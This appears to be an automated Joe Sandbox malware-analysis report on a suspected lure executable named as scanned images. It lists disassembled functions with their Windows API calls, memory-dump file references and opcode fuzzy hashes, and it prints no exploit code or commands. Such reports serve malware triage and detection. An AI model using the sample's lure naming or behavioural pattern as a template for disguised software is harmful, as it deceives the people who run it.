Part of subcall function 00469BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00469BB2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: d5091671c71d20b66ebd5defcf4f447c423ef3408a23878de1d561d72c846b03
Instruction ID: cc4f4b426c77fdf6e4a2c8374397f8e9c5642f206487057dd91f548b5ff6cef5
Opcode Fuzzy Hash: d5091671c71d20b66ebd5defcf4f447c423ef3408a23878de1d561d72c846b03
Instruction Fuzzy Hash: 0011AC312046A4AFCB108F29CC44EB73BA8AF46371B254725F839CB2E0E7349D52DB48

Function 004E5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 004E56BB
_wcslen.LIBCMT ref: 004E56CD
_wcslen.LIBCMT ref: 004E56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 004E5816

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 320473dc93ead814340276fb20d7edbfa693ee7977cfbf72c7c457bd25007911
Instruction ID: a78b98e8cca47664997c1eaeaa9f279dd8106963448078d3fedc0c8c4769bae7
Opcode Fuzzy Hash: 320473dc93ead814340276fb20d7edbfa693ee7977cfbf72c7c457bd25007911
Instruction Fuzzy Hash: BB11E47160068996DB20DF738CC1AEF376CEF1136AF10402BF909D6182E7788981CB69

Function 00481D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc298c8f3c5b7a32ce733825582c520323c6e8b75342094167b6f66a6bcf344
Instruction ID: cf20ed82b7cc58e3cdabcf21f8628a518aa8b44bd59a7b96e22988f4d951ce20
Opcode Fuzzy Hash: 0fc298c8f3c5b7a32ce733825582c520323c6e8b75342094167b6f66a6bcf344
Instruction Fuzzy Hash: 2301A7F22056167EF61136796CC0F2F669CDF413B8B310F2BF521512E2DB68AC025368

Function 004B1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 004B1A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 004B1A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 004B1A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 004B1A8A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1851b105f1d5ae9eed09751e993ad4dc273d901bac0b452b99db3a141348027f
Instruction ID: 4b8717ae50172eea31565bd144b120316c02bf9c87f22a5d259deaaf300c73ca
Opcode Fuzzy Hash: 1851b105f1d5ae9eed09751e993ad4dc273d901bac0b452b99db3a141348027f
Instruction Fuzzy Hash: A3112E35901219FFDB109BA5C985FDDBB78EB08750F200092E500B7290D6716E51DB94

Function 004BE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004BE1FD
MessageBoxW.USER32(?,?,?,?), ref: 004BE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 004BE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004BE24D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: bd7381f89b6b44161dc8d9a742a2e4f7897e2c454c98ecc519d1e0e1f546fc27
Instruction ID: 97ed85c0328d63fa6665508a56f7fda75f4418c74159818cec675aaf62d1993a
Opcode Fuzzy Hash: bd7381f89b6b44161dc8d9a742a2e4f7897e2c454c98ecc519d1e0e1f546fc27
Instruction Fuzzy Hash: 91114872D04244BFC710DBA89C85ADF7FAD9F91310F10466AF825E3281C274CD0587B8

Function 0047D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,0047CFF9,00000000,00000004,00000000), ref: 0047D218
GetLastError.KERNEL32 ref: 0047D224
__dosmaperr.LIBCMT ref: 0047D22B
ResumeThread.KERNEL32(00000000), ref: 0047D249

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 569851549bc1e13561f97ec24ada887cc60aa593136bb05be1d79a1869c72188
Instruction ID: ee5298803dec51fd23bf9caa63b40e46c81c402a1c0cd74933a10c39bc6f38bf
Opcode Fuzzy Hash: 569851549bc1e13561f97ec24ada887cc60aa593136bb05be1d79a1869c72188
Instruction Fuzzy Hash: 86010436C142047BC7105BA6DC45BEB7A78DF81334F20826AF828961D2CB75890286A9

Function 0045600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0045604C
GetStockObject.GDI32(00000011), ref: 00456060
SendMessageW.USER32(00000000,00000030,00000000), ref: 0045606A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 9f8eea33ecfb911185c22eb3281dd1ea5984e9edd02daf0aa2ec20e9e025132c
Instruction ID: 360131ae62e2d063fb6da4a791987e65d0f33279270cfab42ce3222070c1cf5b
Opcode Fuzzy Hash: 9f8eea33ecfb911185c22eb3281dd1ea5984e9edd02daf0aa2ec20e9e025132c
Instruction Fuzzy Hash: B711E172101548BFEF128FA4CC84EEBBB69EF08765F010212FE0446151C7369C61DBA4

Function 00473B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00473B56

Part of subcall function 00473AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00473AD2
Part of subcall function 00473AA3: ___AdjustPointer.LIBCMT ref: 00473AED

_UnwindNestedFrames.LIBCMT ref: 00473B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00473B7C
CallCatchBlock.LIBVCRUNTIME ref: 00473BA4

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: e0574aa8a036dac22fde9080fcec40b867265ff2d6fa46750e12262661ebdf6e
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: D5014032100148BBDF115E96CC46DEB3F6DEF88759F04801AFE5C66121C73AE961EBA5

Function 00483073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,004513C6,00000000,00000000,?,0048301A,004513C6,00000000,00000000,00000000,?,0048328B,00000006,FlsSetValue), ref: 004830A5
GetLastError.KERNEL32(?,0048301A,004513C6,00000000,00000000,00000000,?,0048328B,00000006,FlsSetValue,004F2290,FlsSetValue,00000000,00000364,?,00482E46), ref: 004830B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0048301A,004513C6,00000000,00000000,00000000,?,0048328B,00000006,FlsSetValue,004F2290,FlsSetValue,00000000), ref: 004830BF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a8f850bc5ebc772b43a96bff6918faf0979db1e1f9189f23af52bcefe77bde42
Instruction ID: 543792cef7bdbe3c9d1f09807dcdf2502aa9d7399a163f086fbc3419a4b118dd
Opcode Fuzzy Hash: a8f850bc5ebc772b43a96bff6918faf0979db1e1f9189f23af52bcefe77bde42
Instruction Fuzzy Hash: 4301D832742222ABC7315EB99C8496B77989F06F62B100A21F905D7245C725D902C7E8

Function 004B7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 004B747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 004B7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 004B74AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 004B74CA

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 960c66e8970f2333e25090e4e93be5df6cbfaf6f3ae0e3c675dd85d9e1e2c5cf
Instruction ID: dbdca9c7881d55e3aee1d9ebebd17cae65b5ea044d0d66b431f499aa24f286ba
Opcode Fuzzy Hash: 960c66e8970f2333e25090e4e93be5df6cbfaf6f3ae0e3c675dd85d9e1e2c5cf
Instruction Fuzzy Hash: 3011C4B1205314AFE7208F14DD48FE27FFCEB40B01F10896AE656DA192D774E905DBA5

Function 004BB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,004BACD3,?,00008000), ref: 004BB0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,004BACD3,?,00008000), ref: 004BB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,004BACD3,?,00008000), ref: 004BB0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,004BACD3,?,00008000), ref: 004BB126

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: d9958f14e8f1058ec96f5bc4c4041f2ea633ba58ebbcc768e7e679d9fc5cc2f5
Instruction ID: 2fb12fdd3dbdfe98d3ccbfa362a86e14c4e0554b3f9b163ecfcaee952da24e91
Opcode Fuzzy Hash: d9958f14e8f1058ec96f5bc4c4041f2ea633ba58ebbcc768e7e679d9fc5cc2f5
Instruction Fuzzy Hash: D1116131C0151CE7CF10AFE9D9986FEBB78FF0A751F104096D941B6241CBB45551CBA9

Function 004B2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 004B2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 004B2DD6
GetCurrentThreadId.KERNEL32 ref: 004B2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 004B2DE4

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: f2fbab0f59a5141b2cfa3d5b38de67a537a3707c284c301160e8c2cf3d05b9ad
Instruction ID: 1e80ceb743985be7716bd6be0c86010ef8f282316ff1a7d2b37f6897455658f1
Opcode Fuzzy Hash: f2fbab0f59a5141b2cfa3d5b38de67a537a3707c284c301160e8c2cf3d05b9ad
Instruction Fuzzy Hash: B8E09272141224BBDB201B729C8DFEB7E6CEF42BA1F00042AF105D50819AE4C842D6B5

Function 004E8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00469639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00469693
Part of subcall function 00469639: SelectObject.GDI32(?,00000000), ref: 004696A2
Part of subcall function 00469639: BeginPath.GDI32(?), ref: 004696B9
Part of subcall function 00469639: SelectObject.GDI32(?,00000000), ref: 004696E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 004E8887
LineTo.GDI32(?,?,?), ref: 004E8894
EndPath.GDI32(?), ref: 004E88A4
StrokePath.GDI32(?), ref: 004E88B2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 378ef76bc7d256528b2a207eda0ae94d7c2be78d724bcc70783f1669b281069c
Instruction ID: ee21b07fa9613a2a3193b12e18644cfdf648be6ed4006721b583dba1a462986d
Opcode Fuzzy Hash: 378ef76bc7d256528b2a207eda0ae94d7c2be78d724bcc70783f1669b281069c
Instruction Fuzzy Hash: 80F09A36001298FADF122F94AC49FCA3B19AF16310F008011FE01690E2C7B81552DFAD

Function 004698B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 004698CC
SetTextColor.GDI32(?,?), ref: 004698D6
SetBkMode.GDI32(?,00000001), ref: 004698E9
GetStockObject.GDI32(00000005), ref: 004698F1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: dadbf80e261d5b62f94c8810c0939905c326115c0289329d942f97c0ef55c7b6
Instruction ID: e33603a4d55b663528bf754fae2a312cc06a50e9aab07d1e153b54852d877060
Opcode Fuzzy Hash: dadbf80e261d5b62f94c8810c0939905c326115c0289329d942f97c0ef55c7b6
Instruction Fuzzy Hash: 96E06D31244680BADB215B78EC89BE97F20EB22336F04832AF6FA581E2C37546419F15

Function 004B162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 004B1634
OpenThreadToken.ADVAPI32(00000000,?,?,?,004B11D9), ref: 004B163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,004B11D9), ref: 004B1648
OpenProcessToken.ADVAPI32(00000000,?,?,?,004B11D9), ref: 004B164F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: f3f132698345402964f257018a71999227e2830ceae5fd839c773d778bd1aaee
Instruction ID: 11e28d4170dd770529579ab63edf3af55017f0cb8c13355b0cbdffcadd610865
Opcode Fuzzy Hash: f3f132698345402964f257018a71999227e2830ceae5fd839c773d778bd1aaee
Instruction Fuzzy Hash: 9DE08631A01211DBD7201FE49D8DB973B7CAF54791F144829F646CD091D7384442C7A8

Function 004AD858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 004AD858
GetDC.USER32(00000000), ref: 004AD862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 004AD882
ReleaseDC.USER32(?), ref: 004AD8A3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1dc4bdeb2b46953f85ab8ca449c5a2b39e41431561fb9d9105ec4fbd956e57b4
Instruction ID: 833643ddd91d2c3440817605cd80a29e743cd0515d4c7a17ecc4439618ae711a
Opcode Fuzzy Hash: 1dc4bdeb2b46953f85ab8ca449c5a2b39e41431561fb9d9105ec4fbd956e57b4
Instruction Fuzzy Hash: A8E01AB5C00204DFCF41AFB5D88866EBBB2FB48311F10842AE816EB251C7384903AF49

Function 004AD86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 004AD86C
GetDC.USER32(00000000), ref: 004AD876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 004AD882
ReleaseDC.USER32(?), ref: 004AD8A3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 2134b0a8563bbcb2061a9f8dcc365907cc5cfd288bc8a14c29b2a63eebbc2385
Instruction ID: 70ce21e2603f8b1f4f9a9bbdb90b6bc4c78326b6acba48628e33c80385491ba4
Opcode Fuzzy Hash: 2134b0a8563bbcb2061a9f8dcc365907cc5cfd288bc8a14c29b2a63eebbc2385
Instruction Fuzzy Hash: E1E01A75C00200DFCF409FB4D88866EBBB1BB48311B108419E816EB251C73859039F48

Function 004C4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00457620: _wcslen.LIBCMT ref: 00457625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 004C4ED4

Strings

LPT, xrefs: 004C4DFB
*, xrefs: 004C4E10

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 051e03c3b32d39ada80adf87d02e58e33f90e3a535485805ccc7ed4ce7acb6f1
